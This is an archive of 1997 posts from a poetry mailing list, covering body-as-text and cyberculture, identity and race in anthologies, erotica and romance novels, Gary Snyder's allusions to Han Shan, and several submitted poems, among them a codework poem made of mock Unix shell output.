Sorry to burden the list, but it seemed the easiest way to kill a number of birds with one stone (so to speak):

For those who may want/need to reach me and/or the now for the most part defunct We Press, the new address is:

Stephen Cope
POBOX 948544
La Jolla, CA 92037
[redacted]

Best,
Stephen Cope

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870. **Peter Ganick**
Re: body-as-text discussion
Sat 28 Jun 1997

---

is the body inherently a whole?
does fragmentation occur naturally/unaturally
  for instance the generally accepted practice
  of surgery or amputation?
can't "body" be a fluid concept?
out-----
peter ganick
[redacted]

At 06:44 PM 6/27/97 -0400, you wrote:
>Some quotes from _Utne's issue on the "real" as latest most in:
>
>"Cyberlife leads to disembodiment, the exact opposite of what the culture
>needs," - Suzi Gablik
>
>"Ray [Paul] concludes 'cultural creatives' demand that all the pieces of
>their lives fit together to create an authentic whole...one that merges the
>best of modernism and traditionalism, embraces both East and West..."
>
>but "We need to mount a spirited defense of our right and power to seek our
>own realities." Jon Spayde
>tom bell
>
>At 05:26 AM 6/27/97 -0400, you wrote:
>>hi buffalo-l-er's---------
>>i don't think alan sondheim would mind if i
>>forwarded this post of his to the fop-list
>>made an hour ago--------
>>it bears relevance to the "body-as-text' discussion
>>proposed by kdawn earlier----
>>out--------
>>peter ganick
>>
>>>To: [redacted]
>>>From: Peter Ganick <[redacted]>
>>>Subject: Re: E-Minds Discussion
>>>
>>>>Sender: FOP-L <[redacted]>
>>>>From: Alan * Sondheim <[redacted]>

>>>>Subject: Re: E-Minds Discussion
>>>>To: Multiple recipients of list FOP-L <[redacted]>
>>>>
>>>>I'm curious - with your computing skills and equipment - what are your
>>>>ultimate goals - what do you want to do?
>>>>
>>>>I find myself constantly having to pare back, for example, ignoring C++ in
>>>>order to concentrate on the languages I know to some extent, and can use.
>>>>With essays, I try to read things that are sent me within three days; if
>>>>not, I have to expunge them.
>>>>
>>>>I move from one operating system to another; I feel I have good knowledge
>>>>of linux and Win95, poor still of Mac, but getting there. I'm getting
>>>>close to 250 - 300 messages a day.
>>>>
>>>>I want to feel I'm within the internals of the machine, and understand the
>>>>psychoanalytical and philosophical ramifications of technology. I want to
>>>>do this without disregarding the body, or its splitting re: issues of embodiment and virtuality - and I don't want to go for simplistic answers
>>>>(which usually carry the day). I try to keep up with "the literature" as
>>>>best I can; much of it seems anecdotal (this is what a MUD does) or naive
>>>>(cyber-relationships are/aren't "real").
>>>>
>>>>Since I'm not institutionalized, I can rarely go to the conferences I've
>>>>applied to, to present a paper; there's no money. Since I can't go to the
>>>>conferences, the feedback on my work is minimal, so I have to conduct imaginary conversations - _here_ I'm naive, _there_ I've maybe made a point.
>>>>Although I do get into print (off or online) often, there's no real community of discussion surrounded my work, so these dialogs get increasingly
>>>>psychotic.
>>>>
>>>>Beyond this, I remember when I began thinking through these issues in the
>>>>70s (I did something called The Structure of Reality then, which I still
>>>>refer to), I figured I wanted to work on the mediation of mind and world
>>>>vis-a-vis formal and informal systems - and how this mediation

constructed
>>>>or was constructed by/for mind. And I've remained fastened on this to the
>>>>present.
>>>>
>>>>With your work on your computers, adding programs (I remember you talked
>>>>about all the Network monitoring addons for Win95 you downloaded), I won-
>>>>der where your interest lies, what your goals are? And I'm sending this to
>>>>the lists, since I'm curious about others' configurations as well.
>>>>
>>>>(For myself, I've stabilized linux and the Mac and Win95 configs, as well
>>>>as my Win 3.+ stuff, so they're functional and somewhat interoperational;
>>>>with the Mac, I've clumsily looked at Applescript, backed out a bit, and
>>>>do most of my experimentation on linux, either RedHat or Slackware varie-
>>>>ties. And I still feel that one needs at least some of this in order to
>>>>understand TCP/IP or other protocols, to understand the Net in general,
>>>>beyond the user interface. For the user interface is always a system, as
>>>>Richard MacKinnon might say, of governance, and there's protocol and gov-
>>>>ernance all the way down, and we had better look at it.)
>>>>
>>>>Alan, musing
>>>>
>>>>
>>>>
>>>>URL: http://jefferson.village.virginia.edu/~spoons/internet_txt.html
>>>>MIRROR with other pages at: http://www.anu.edu.au/english/internet_txt
>>>>IMAGES: http://www.cs.unca.edu/~davidson/pix/ TEL [redacted]
>>>>EXPERIMENTAL (on and off): http://166.84.250.149 Editor, BEING ON LINE
>>>>
>>
>>
>

↑ Index

871. Alan * Sondheim
Re: body-as-text discussion
Sat 28 Jun 1997

On Sat, 28 Jun 1997, Peter Ganick wrote:

> is the body inherently a whole?
no (re: Lingis on disembodiment)
> does fragmentation occur naturally/unaturally
> for instance the generally accepted practice
> of surgery or amputation?
yes/no (re: prosthetic space, trepanning)
> can't "body" be a fluid concept?
always (re: Irigaray, Brossard, Grosz, Butler, etc.)
> out-----
> peter ganick
> [redacted]
>
> At 06:44 PM 6/27/97 -0400, you wrote:
> >Some quotes from _Utne's issue on the "real" as latest most in:
> >
> >"Cyberlife leads to disembodiment, the exact opposite of what the culture
> >needs," - Suzi Gablik

This statement is so problematic! Wow! What is an "exact" opposite? Oh, I know what she means, but listen to the sizzle of the polarity here! And "Cyberlife _leading_"??? (_My!_) emphasis! As if there's not always already a problematic here _and in the space of the real_?

Marijuana leads to crack, the exact opposite, blah blah.

But the body is always already both subject/object and cultural construct, and these interpenetrate.

Suzi! Suzi!

↑ Index

872. Alan * Sondheim
Julu Makes Suzi (this works! I've done it! Alan)
Sat 28 Jun 1997

***** +++ ***** ++++ ****

julu makes suzi

41 drums.o3 initrunlvl nntpserver rpc hrmmm
42 drums.sb inittab npasswd.conf rpmrc

57 {b:41} drums.o3 initrunlvl nntpserver rpc hrmmm
58 julu: drums.o3: command not found hrmmm hrmmm hrmmm
59 {b:42} drums.sb inittab npasswd.conf rpmrc
60 julu: drums.sb: command not found hrmmm hrmmm hrmmm
79 {b:41} drums.o3 initrunlvl nntpserver rpc hrmmm
80 julu: drums.o3: command not found hrmmm hrmmm hrmmm
81 {b:42} drums.sb inittab npasswd.conf rpmrc
82 julu-mud: drums.sb: command not found hrmmm hrmmm hrmmm
101 {b:41} drums.o3 initrunlvl nntpserver rpc hrmmm
102 julu-mud: drums.o3: command not found hrmmm hrmmm hrmmm
103 {b:42} drums.sb inittab npasswd.conf rpmrc
104 julu-mud: drums.sb: command not found hrmmm hrmmm hrmmm
{b:139} pwd
/etc/skeleton
{b:140} cd /
{b:142} descent to the root
julu-mud-feather: descent: command not found
{b:143} cd root
{b:144} cd *h/awk
{b:145} ascent up the root
julu-mud-feather: ascent: command not found
{b:146} hrmmm hrmmm hrmmm
julu-mud-feather: hrmmm: command not found
hhhrm hhhrm hhhrm hhhrm' hhhrm hrmmm hhhrm, hrmmm hrmmm,
hrmmm hrmmm, hrmmm hrmmm, hhhrm hhhrm hhhrm hhhrm,
hhhrm hrmmm hhhrm, hrmmm hrmmm, hrmmm hrmmm, hrmmm hrmmm
{b:147} whoami
suzi
{b:148} whois suzi
julu of the grep-feather-chant
julu of the mud-feather-chant
75 {b:39} dip-script.dip httpd motdresolv.conf v$
76 julu-mud-feather: dip-script.dip: command found
77 {b:40} dip-scriptold inetd.conf mtab rmt
78 julu-mud-feather: dip-scriptold: *tree*
{b:149} julu-mud-feather-crystal hrmmm hrmmm
{b:149} julu-mud-feather-crystal hrmmm hrmmm
{b:149} julu-mud-feather-crystal hrmmm hrmmm
{b:149} julu-mud-feather-crystal hrmmm hrmmm
{b:149} julu-mud-feather-crystal hrmmm hrmmm
* system looped *

SYSTEM HALTED

SUZI!

↑ Index

873. **Mark Weiss**

Re: masturbation and appropriate texts to be studied

Sat 28 Jun 1997

It's possible that your study sample, both of men and soft-core porn (playboy is pretty mild stuff by current standards), was too small to allow many conclusions to be drawn. I think it would be safe to say that most men in most societies have and have always had an interest in what some in their cultures would consider pornographic. It's even been suggested that the Venus of Willendorf and her sisters were pinups. I prefer the term erotic to pornographic, because what's considered beyond the pale has been so various. Not so long ago women were routinely arrested in Florida for wearing short shorts and individuals and couples in Connecticut were arrested for something called "lascivious posture," which seems to have been any behavior not otherwise forbidden by statute that the cop found too raunchy. For years the legal line for visual representation was drawn at pubic hair. A lot of women seem not to understand why men find the contemplation of impersonal sexual signs titillating. But most men find it equally difficult to understand why so many women get turned on by romance novels. What can one say but vive la difference? Maybe we should refrain from diagnosing each other.

At 08:33 PM 6/27/97 -0400, you wrote:
>the bits dropped on both topics puts me in mind of something ...
>
>at a certain point in my career, i had a roomate who had a number of what
>would in many circles be defined as hard porn magazines, a partner who gave
>me several such texts, and access via a few other means to more. i got kind
>of interested.
>
>most of what i looked at was the playboy and beyond vintage magazine. and
>there were a number of recurrent threads. one was that the males in the
>sexual encounter stories most often had horrific self-images, as constructed
>in the texts. they were generally physically off in some way, were
>interrupted in their discourse frequently, frequently said things that were
>contradicted and/or proven wrong, and were, in general, just plain nebbishes.
>
>and the females, though sexually available, were often scornful!
>

>what i think i picked up from that was that in order for the versimilitude
>to be of enough magnitude to engulf reader in text, text had to contain reality
>as readers experienced it, i.e. if they were lost enough to be reading such
>magazines, male figures in magazines had to be losers as well in order to be
>believable. women had to be scornful, becasue anyone reading such a maga-
zine
>should be scorned. it may go deeper than reader/at/reading interaction --
>men may in general feel like losers and only encounter scornful women at
>such juncture as they would read such magazines...
>
>those i knew with magazines were in pretty bad shape except for partner,
>who gave them to me as part of erotic play. the latter is perhaps a bit
>personal but hey, we've all donned the rubber chicken suit and thrown the
>naked spuds at one time or another except for bowering who does it con-
stantly,
>and as he alleges, bromige, who does it but blames bowering...
>e
>
>

↑ Index

874. **Jordan Davis**
Re: identity/poetics
Sat 28 Jun 1997

Fireflies in my room,
my grandfather fallen twice

Th waves are real
and the topless bars

It is lonely to be so fast
you get out of the picture window like that

and the half moon
I look for the clam / or cod half flashes

↑ Index

875. **Jordan Davis**
ladies and gentlemen please
Sat 28 Jun 1997

---

no future references to individuals named "Jordan" unless you can back it
(them) up "bibliographically" -- which is to say bring up Ford Madox Ford while

I'm on my honeymoon and I'll find a way to index you some day -- love love and love -- esp for the big animated stick hueffer-- J

↑ Index

876. **David Israel**
Re: body-as-text discussion / cyberlife
Sat 28 Jun 1997

Alan * Sondheim notes --
<<
> >"Cyberlife leads to disembodiment, the exact opposite of what the culture
> >needs," - Suzi Gablik

This statement is so problematic! Wow! What is an "exact" opposite? Oh, I know what she means, but listen to the sizzle of the polarity here! And "Cyberlife _leading_"??? (_My!_) emphasis! As if there's not always already a problematic here _and in the space of the real_? . . .

Suzi! Suzi! >>

Tangentially: if memory serves Suzi Gablik happens to be a critic of modern & contemp. art; -- e.g., her byline is seen in the *New Art Examiner*, and she has written a book dealing with Rene Magritte. Gablik's anti-computer quote likely was lifed from an essay in the New Art Examiner; -- this topic was discussed there some years ago.

The contra-cyber stance that she expresses is considerably elaborated (though on perhaps different grounds) by a Boston critic whose name escapes me at the moment [he wrote a book developing this theme, entitled something like The Gutenberg Elegy (?)]; -- and a couple years ago, Harper's Magazine published the transcript of a panel discussion (including said chap) more or less examining such ideas.

More precisely the Gutenberg fellow was concerned abt. an imagined erosion of *literary* culture (or maybe, literary experience, narrowly construed) -- rather than the Gablik proposition of life mediated by computer culture being directly antithetical to physical / sensual being.

Am reminded of the issue of writing using a computer vs. composing longhand (or -- betwixt the twain -- via the WCW-typewriter method). Back a step further, there's verbal vs. written composition (& culture).

A paradox: my brother (a musician) has never much been given to reading or writing -- but since going online a couple years ago, he's now involved in both activities (typically for some hours daily).

In my view (but perhaps this is obvious), the internet has "lead to" (or let's say, allowed) what amounts to a renaissance of epistolary life -- a development that I esteem (in an approving sense) as neo-Victorian (though not, w/ that phrase, connecting to the Gablik proposition).

d.i.

↑ Index

877. **Maria Damon**
Re: the single moon
Sat 28 Jun 1997

At 11:36 PM -0400 6/27/97, Daniel Zimmerman wrote:

> *Maria,*
> *I've read the Buddhism/racism thread with interest and, I hope, with sufficient disinterest since it began, and have resisted comment until now. Not that I find what you've said "offensive" or deserving of such a pejorative; indeed, the question you raise about "institutional racism" certainly deserves attention. However, it seems to apply more to "real" institutions [e.g., publishers] than to editors--especially if the editors have, like Johnson and Paulenich, put out general and public calls for the sort of work [not work from the sort of people] they'd like to consider for publication in anthologies.*

as i said, my comment is a somewhat generic one, not designed to point the finger at x rather than y.

> *Of course, as you say, "if some [Asian Americans] knew of the anthology*
> *but 'chose not to' submit material, it would be instructive to know why." But the "why" might [easily] not entail racism, institutional or otherwise, and to imply that it [very well] might appears to involve a slippage from possibility to probability, from correlation to cause.*

this is precisely why i sd that it wd be instructive to know why.

> *When you say that "from organizing [a] conference [,] i can easily see that unless i do something active to take control --i.e. if i just relied on 'calls for papers' --we won't get much of a cross-cultural swathe at all," it seems to me you take upon yourself too much of a burden: if Asian-[or any other hyphenated]-Americans choose not to respond to a 'call for papers,' you might feel disappointed, but you shouldn't kick yourself. You can just as easily 'become what you behold,' as Blake would say, by opposing it unwisely or ineffectually [when it involves rebuking yourself for not having done 'enough' to combat its excesses] as by acceding to it passively.*

i'm not flagellating myself. i'm pointing out a truism. it is true that i do not have the energy of a true crusader like, for example, george lipsitz or dave roediger,

or even our own kali tal, who appear to be tireless. i'm not. so, diff folks have differing amounts of energy to bring to their tasks however they define them. but at least, if i don't have the energy to pursue anti-racist agendas as far as others do, i don't want to end up blaming those i've stopped pursuing.

> *Beyond pointing to attachment as the cause of suffering, Buddhism, as I*
> *understand it, declines to assign blame. If Asian-American Buddhists*
> *ignored the call for submissions to the _Beneath a Single Moon_*
> *anthology, they have no one but themselves to blame [but why would they?*
> *& have they, or do we merely witness a passle of white folks here*
> *worried that they might?*

this whole thread, as i understand it, took its departure from a comment made on the anthology by Walter Lew, a first-generation Korean American, in the afterword of *his* anthology, Premonitions.

& if they might, so what? have editors no right
>to their own taste? how many rejections slips have you received without
>comment? how many have you attributed to racism? to sexism? to just
>plain stupidity?

i tend to think the former two causes are subsumed as categories within the latter.
must every public action obsessively make amends for
>the sins of racism, institutional or otherwise?].

what was obsessive about my post?

> *You say that "if there was no active attempt to recruit the works of*
> *Asian-Americans, it is not surprising that it was an all-white affair."*
> *I'd rather say that if the call for submissions appeared in a sufficient*
> *number of public places, it seems surprising that no Asian-American*
> *Buddhists responded. That's their problem, not Johnson's & Paulenich's.*
> *This impulse to go overboard to defend the interests of the oppressed &*
> *excluded appears to me not very far from the imperialist attempt to*
> *'rescue' the heathen.*

this is a strange comment. do you really think that it's going overboard to want to represent a range of different cultures at a conference entitled "cross-cultural poetics?" methinks thou art distorting my words, my intentions, and my point, which was about as general and bland as could be, in order to re-personalize a post that i specifically made as unpersonal as i could, except insofar as i invoked my own current experience. Ive wanted to stay out of the excessively personal, ad feminam/hominem aspects of recent threads, now i have embroiled myself in one. oy! i'll withdraw.
what's with all of this crankiness? is it the heat, or now that summer's here we (academics anyway) have more time to obsess in front of our screen?

as ever, md
> Tat tvam asi.
>Dan Zimmerman

↑ Index

878. **Maria Damon**
Re: identity/poetics
Sat 28 Jun 1997

At 2:11 AM -0400 6/28/97, Jordan Davis wrote:
>Fireflies in my room,
>my grandfather fallen twice
>
>Th waves are real
>and the topless bars
>
>It is lonely to be so fast
>you get out of the picture window like that
>
>and the half moon
>I look for the clam / or cod half flashes

ah jordan, how'd you know i was here in woods hole? it's dreamy, i'm in love with the air, with being here, with moving my body. can't stand the thought of going back to the static-air midwest with its grueling heat and pious attitudes!

↑ Index

879. **Maria Damon**
Re: masturbation and appropriate texts to be studied
Sat 28 Jun 1997

---

mark weiss wrote:
>A lot of women seem not to understand why men find the contemplation of
>impersonal sexual signs titillating. But most men find it equally difficult
>to understand why so many women get turned on by romance novels. What can
>one say but vive la difference? Maybe we should refrain from diagnosing each
>other.
>

a few years ago, when i read my first harlequin novel as an "assigned text" for a study group, i was struck by how structurally similar they were to s/m novels such as the story of O or gay work by some of the folks anthologized by john preston as well as some preston himself. of course the harlequins were far less

interesting and creative, far less "literary" and hence boring. but similar power dynamics gave both genres (if they can be said to be separate genres) their underlying logic. when i suggested this to my study group, and that we follow up w/ a gay male s/m text, they demured for unstated reasons.

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880. **DS**
Re: identity/poetics
Sat 28 Jun 1997

---

little boxes
on
the
hillside

↑ Index

881. **David Israel**
Identity / Snyder's evocations
Sat 28 Jun 1997

Rebecca Weldon writes from Thailand:

<< I must apologise for my facetious remarks concerning the orient (I meet too many Orientalists out here). The questions of identity are quite serious and merit discussion. . . . >>

While *some* of your words were tongue-in-cheek, others seemed straightforward and (I'd say) germane. For instance, the semantic fuzziness of "orientalism," lent some dash of clarity by your rooting it in 19th century origins, denoting an aspect of the response of a Eurocentric mentality in its imaginal encounter w/ "the Oriental mind" (a phrase which one finds in, for instance, Rudyard Kipling's novel *Kim*).

/ / / /

BTW, in my estimation, what someone like Rudyard Kipling was up to, and what someone like Gary Snyder is up to, have a number of points of difference. As for their (respective) poetries, Dean's citation of those lines (chosen "at random") from Snyder's collected poems, served to remind how much I like this poet's work. Again encountering those 8 lines in Amand Schwerner's summary-and-supplementary discussion -- the Snyder lines remain interesting / haunting / evocative / solid.

> We beach up at China Camp
> Between piles of stone

Stacked there by black-haired miners,
cook in the dark
sleep all night long by the stream.

These songs that are here and gone,
Here and gone,
To purify our ears.

That evocation of exploited Chinese miners in the California riverine valley (fetched to mind for the poet by markless, plaqueless piles of stone), and his evident sense of (some manner of human) kinship with those long-gone laborers across a century's gulf --

These songs that are here & gone
here & gone

the poet imagines the miners perhaps did sing songs among themselves? when finally, after 18-hour-per-day labor, they were alone & at leisure [is this then the "exotic" image of Asians to which Dean Brink alludes?] --

image of unnamed, unknown, now forever gone lives filled w/ hard labor (Snyder, whose livelihood in that period was likewise based on physical labor, had some ground for this imaginal kinship, I think) --

miners whose remnant trace is an array of piled stone that the poet notices -- nameless presences evoked economically ("black haired miners") -- & did they sing? --

These songs that are here & gone
here & gone

the resumption of song here suggesting (one supposes) the poet's own lyric, -- an act of recurrence, somewhat in the Eliadean sense --

btw, "to purify my ears" appears in the final line in an 8-line poem of Han Shan's (I realized this, as I was about to zoom into the shower, a couple mornings ago) -- circa 8th century a.d. recluse-poet; Snyder was the first translator to render that poem into English (his translations from Han Shan were, of course, memorialized by his buddy Keruoac in *The Dharma Bums* -- Kerouac actually beat Snyder to the punch, in the sense that one or two Han Shan poem in Snyder's translationappeared JK's TDBs before Snyder had a chance to get his versions into print) --

but "to purify my ears" is an allusion by Han Shan to the tale from Chuang Tse (as I've already mentioned), that fantastical & philosophical circa 3rd cent. b.c. mystic story-maker -- the phrase evokes a story that imaginatively recreated a then long-bygone era of many centuries earlier -- so that the historical distance covered by Snyder's line "to purify our ears" hopscotches back to the deep

antiquity of the original mythical sage figure (one of the Chen Jen (zhen ren = realized men) held up as models by CT, though I don't recall his name (a figure from e.g., 1,000 b.c.? -- Chuang Tse tended to better the Confucians by planting his mythical exemplars even more remotely in antiquity than their were) . . .

a pebble-tale that skips across the history-waters up to Chuang Tse (3rd cent. b.c.), then makes a further leap up way to Han Shan -- whose affinity w/ Chuang Tse was shared by other Buddhist poets of his day --

then from Han Shan (8th cent. a.d.) the phrase leaps another millenium to the Chinese immigrants (mid-19th century) as imagined by Gary Snyder (mid-20th Century -- I assume this poem dates from the 1950s) -- and now it drifts on lapping fiberoptics & lands at our computer-shores, here on the cyberriver at century's end . . .

"to purify my ears" signified, for Han Shan, a disguest with the wrangling world of petty ambitions that he runounced, when he sought silence & solitude on Cold Mountain ("Han Shan") -- where (as he noted in a poem I quoted here some months ago) he lingered for (more than) 30 years . . .

& thanks, Rebecca, for the words from *Ruins* . . .

d.i.

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882. **Joe Amato/Kass Fleisher**

Re: Identity

Sat 28 Jun 1997

---

oh i think we SHOULD try, in calls for papers and conferences and the like, to reach out some in getting diverse representation... what's the harm in same?... in my view, for so many reasons, it's not enough to observe, simply, that "such and such [group] didn't respond" (which is not a criticism of anybody's past or present practices!)... that said, IF i'm invited to talk/speak/contribute, i can't at the same time be asked as a whitehetmale to erase mself... though i would think that my contribution should call into question my own subject-site (at least at the level of basic reflexiveness---of searching mself some---and i have a kind of faith that if i do so, the results will be (self-)evident)...

anyhoo, i feel i must remark that it's nice to see that *this* discussion includes a half-dozen WOMEN!... really, a discussion of identity and such like on poetix w/o the customary deluge of men-only or men-primarily... oh and in remarking so, you will note that i tip my hat in favor of reaching out some...

anyway, i've attached something that i thought might be of interest, but it's not directly related to any current thread...

best,

joe

> *Posted at 7:50 a.m. PDT Friday, June 27, 1997*
> *HarperCollins closes the book on 100 authors*
>
> *NEW YORK (AP) -- In an unexpected budget-cutting move, HarperCollins is closing the book on more than 100 authors whose titles it had promised to publish, The New York Times reported today.*
>
> *The venerable publishing house -- which lost $7 million in its last fiscal quarter -- canceled 36 titles it believed would sell poorly. It trimmed another 70 books because its authors missed their deadlines.*
>
> *Some of the axed titles were featured in the company's fall catalog. All the canceled authors will be paid the full advances due under their contracts, said Anthea Disney, the company's chief executive.*
>
> *``It's a way of trying to make sense out of the business,'' she said. ``In all honesty, I don't want to publish books that we won't get behind and publish well.''*
>
> *HarperCollins' decision to cancel manuscripts that had already been completed is considered highly unusual in the publishing industry, where houses usually cut back by reducing future acquisitions.*
>
> *Rebecca Brown, whose novel ``The Dogs: A Modern Bestiary'' was on HarperCollins' hit list, said the decision seemed to reflect publishing's increasing focus on profits over quality.*
>
> *``Publishing now is not about supporting and nurturing and having this inquiry into culture that Gertrude Stein and (Ernest) Hemingway and Maxwell Perkins were trying to do,'' she told the newspaper. ``It's about selling Michael Jackson biographies and advertising things. It's more in line with selling cigarettes.''*
>
> *Other canceled titles included a number of novels, cookbooks, a mystery, a biography, a European travel guide and an art collection book by Edith*

> *Vonnegut, daughter of author Kurt Vonnegut.*
>
> *HarperCollins, a unit of Rupert Murdoch's NewsCorp., published 1,600 books in the trade division last year.*

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883. Eliza McGrand- CVA Guest

Re: Salt 11

Sat 28 Jun 1997

---

hi john kinsella

here are three poems for Salt. let me know if you're interested in having them. "Family Grounds" and "Humor Institute" are fairly straightforward, but in "Re-decorating the House" i have left in some html markings because they make formatting a little clearer. where you see <blockquote>, it means start formatting as you would for quotations, i.e. indent and italicize, and where you see </blockquote> it means end the special quotation formatting.

i realize this is all very baroque, and wouldn't be necessary if i weren't such a lazy sot and would actually MAIL it snailmail with realcopy, but for heaven's sake, by the time i get to the post office and sort out overseas pricing for mail and a SASE, well, let's just say i still have filing from a YEAR AGO that i haven't done!...

e

---
poems following

The Humor Institute
  (from the fine poem of the same title by Andrew Hudgins)

It's funny and it's not. They carry luggage
that bursts, spilling out caps with horns
and fart cushions. Later the parents send
packages of chocolate and lard cookies, Doritos,
pictures -- the Dog, Mom and Dad and the House.
In class they are silent, poised shrikes
except when the teachers call them out with a joke
into packs of syncophantic Ralphs
ho-hoing like ex-husbands at the wedding.

The classrooms retch out pellets of nervous titter
as students fight over outlets for portable laugh tracks;

A grandmother's belching guffaw can break wind
across the becalmed victims of the oral report
as quickly as silence strands them on a shore
of drunk Mid-western Elvis impersonators
and moustached Europeans with poodle shows.
Everyone is waiting for the boy who hugs a cheetah
and sings in an Al Jolson voice so they can
blow into their rolled-up diplomas and go
home -- to their families, to a labor of humor.

E. McGrand

@copyright E. McGrand, 4/97

Family Grounds

The family, fists wavering, walks over
a busy street blindly, each foot chancing
passing tractor-trailors of catastrophe.
The hapless one hums counterpoint to beats
tapped by his brother's retarded, labyrinth feet.

What does each hear in the dolorous
outcast humming. John, the retarded son,
(name begat to re-upholster worn crouches
of Oedipal gerrymandering) holds the hand
of his mother, their interlocking fingers,
a marbled gesture of incarnate tragedy.

Even with the named birth it was no use
to hope John wouldn't know, but recess jeers,
classroom disasters, and parents' gossip
multiply beyond the twelve apostolic
benchmen whose priest and prayerbook failed
to wash her nervous conscience clean.

The hapless, float-footed brother breaths
molten symphony, exhales sullen etudes.
His weed-blown sisters adulate and follow,
blossoming in whispers and hidden smoking,
their thin fingers pinching, sucking, and holding.
They gather remote, decorous boyfriends, sag
into a rear manouvre dented from kicks and hissing.
Mating rejection and drawing it inward, orgasms
of green and blue embroider their arms, eyes.

The parents, simultaneously following and herding --
father phallically thrusting his frowns, critiques
during dinner, pointedly cheating his wife;
mother rustling broccoli and conversational
robins' nests as she cringes at the sideboard
-- hate open pain. Flourishing pain,
the children turn it into convention badges,
endless initiation chants in a ritual
of shattered safety. The cars suck and hold
scarves, dresses, and draw the open-eyed
along the spattered traffic median.

E. McGrand

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Redecorating the House
<BLOCKQUOTE><I>
How much can ornamentation conceal
when structural renovation is unsustained
</BLOCKQUOTE></I>

The front facade, supported by fluted
pilasters, wraps around a stable, sheltered
environment, a minimal number of staff
always watching the golden, burnished
marble resound with subtle notes
of Inigo Jones classicism. Supervised
workshops facilitate on-site key signatures
of green marble intaglio, effortless support
in our campaign to build community ties
<BLOCKQUOTE>
he said I picked my nose
unnhh what a Retard can I
have an apple in my lunchbox
we are learning to use big sewing
machines with thick red thread
</BLOCKQUOTE>
We will be placing clients in controlled
environments; the ludicrous Victorian brass
work providing humorous commentary on repeated
arguments about restraints, the place of legato,
and how much ornamentation can conceal

when structural renovation is unsustained
<BLOCKQUOTE>
teased me I don't like oranges
my lunchbox got stolen the fourth
graders are too small why can't
Irene and I make babies
in our rooms if we shut the door
</BLOCKQUOTE>
At Christmas tiny points of light glitter in circles
on the trees and are taken down after New Years day

E. McGrand

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884. Eliza McGrand- CVA Guest

HOW EMBARRASSING!!!!! please ignore last message

Sat 28 Jun 1997

---

i'm terribly sorry -- did the usual dopy "r" thing and instead of sending reply to sender, it went to list.

nothing sallacious, but very tedious for everyone to wade through...

sorry!
e

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885. Alan * Sondheim

Re: Identity

Sat 28 Jun 1997

I think (re: Amato) that conferences should also have some monies set aside for those people who can't afford to come otherwise; not everyone is university af- filiated. (I think this should be a _requirement_ of con- ferences.)

This problem has happened to me a number of times recently. It's ugly. It cre- ates a real division between department-sanctioned writers/etc. and those of us out on the street.

Alan

URL: http://jefferson.village.virginia.edu/~spoons/internet_txt.html MIRROR with other pages at: http://www.anu.edu.au/english/internet_txt IMAGES:

http://www.cs.unca.edu/~davidson/pix/ TEL [redacted] EXPERIMENTAL (on and off): http://166.84.250.149 Editor, BEING ON LINE

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886. **Thomas Bell**
Re: body-as-text discussion
Sat 28 Jun 1997

---

transplantation appears to involve more than just the physical fragment.

At 12:53 AM 6/28/97 -0400, you wrote:
>is the body inherently a whole?
>does fragmentation occur naturally/unaturally
> for instance the generally accepted practice
> of surgery or amputation?
>can't "body" be a fluid concept?
>out-----
>peter ganick
>[redacted]
>
>At 06:44 PM 6/27/97 -0400, you wrote:
>>Some quotes from _Utne's issue on the "real" as latest most in:
>>
>>"Cyberlife leads to disembodiment, the exact opposite of what the culture
>>needs," - Suzi Gablik
>>
>>"Ray [Paul] concludes 'cultural creatives' demand that all the pieces of
>>their lives fit together to create an authentic whole...one that merges the
>>best of modernism and traditionalism, embraces both East and West..."
>>
>>but "We need to mount a spirited defense of our right and power to seek our
>>own realities." Jon Spayde
>>tom bell
>>
>>At 05:26 AM 6/27/97 -0400, you wrote:
>>>hi buffalo-l-er's---------
>>>i don't think alan sondheim would mind if i
>>>forwarded this post of his to the fop-list
>>>made an hour ago--------
>>>it bears relevance to the "body-as-text' discussion
>>>proposed by kdawn earlier----
>>>out--------
>>>peter ganick

>>>
>>>>To: [redacted]
>>>>From: Peter Ganick <[redacted]>
>>>>Subject: Re: E-Minds Discussion
>>>>
>>>>>Sender: FOP-L <[redacted]>
>>>>>From: Alan * Sondheim <[redacted]>
>>>>>Subject: Re: E-Minds Discussion
>>>>>To: Multiple recipients of list FOP-L <[redacted]>
>>>>>
>>>>>I'm curious - with your computing skills and equipment - what are your
>>>>>ultimate goals - what do you want to do?
>>>>>
>>>>>I find myself constantly having to pare back, for example, ignoring C++ in
>>>>>order to concentrate on the languages I know to some extent, and can use.
>>>>>With essays, I try to read things that are sent me within three days; if
>>>>>not, I have to expunge them.
>>>>>
>>>>>I move from one operating system to another; I feel I have good knowledge
>>>>>of linux and Win95, poor still of Mac, but getting there. I'm getting
>>>>>close to 250 - 300 messages a day.
>>>>>
>>>>>I want to feel I'm within the internals of the machine, and understand the
>>>>>psychoanalytical and philosophical ramifications of technology. I want to
>>>>>do this without disregarding the body, or its splitting re: issues of embodiment
>>>>>bodiment and virtuality - and I don't want to go for simplistic answers
>>>>>(which usually carry the day). I try to keep up with "the literature" as
>>>>>best I can; much of it seems anecdotal (this is what a MUD does) or naive
>>>>>(cyber-relationships are/aren't "real").
>>>>>
>>>>>Since I'm not institutionalized, I can rarely go to the conferences I've
>>>>>applied to, to present a paper; there's no money. Since I can't go to the
>>>>>conferences, the feedback on my work is minimal, so I have to conduct imaginary
>>>>>aginary conversations - _here_ I'm naive, _there_ I've maybe made a point.

>>>>>Although I do get into print (off or online) often, there's no real com-
>>>>>munity of discussion surrounded my work, so these dialogs get increas-
ingly
>>>>>psychotic.
>>>>>
>>>>>Beyond this, I remember when I began thinking through these issues in
the
>>>>>70s (I did something called The Structure of Reality then, which I still
>>>>>refer to), I figured I wanted to work on the mediation of mind and world
>>>>>vis-a-vis formal and informal systems - and how this mediation con-
structed
>>>>>or was constructed by/for mind. And I've remained fastened on this to
the
>>>>>present.
>>>>>
>>>>>With your work on your computers, adding programs (I remember you
talked
>>>>>about all the Network monitoring addons for Win95 you downloaded), I
won-
>>>>>der where your interest lies, what your goals are? And I'm sending this
to
>>>>>the lists, since I'm curious about others' configurations as well.
>>>>>
>>>>>(For myself, I've stabilized linux and the Mac and Win95 configs, as
well
>>>>>as my Win 3.+ stuff, so they're functional and somewhat interopera-
tional;
>>>>>with the Mac, I've clumsily looked at Applescript, backed out a bit, and
>>>>>do most of my experimentation on linux, either RedHat or Slackware
varie-
>>>>>ties. And I still feel that one needs at least some of this in order to
>>>>>understand TCP/IP or other protocols, to understand the Net in gen-
eral,
>>>>>beyond the user interface. For the user interface is always a system, as
>>>>>Richard MacKinnon might say, of governance, and there's protocol and
gov-
>>>>>ernance all the way down, and we had better look at it.)
>>>>>
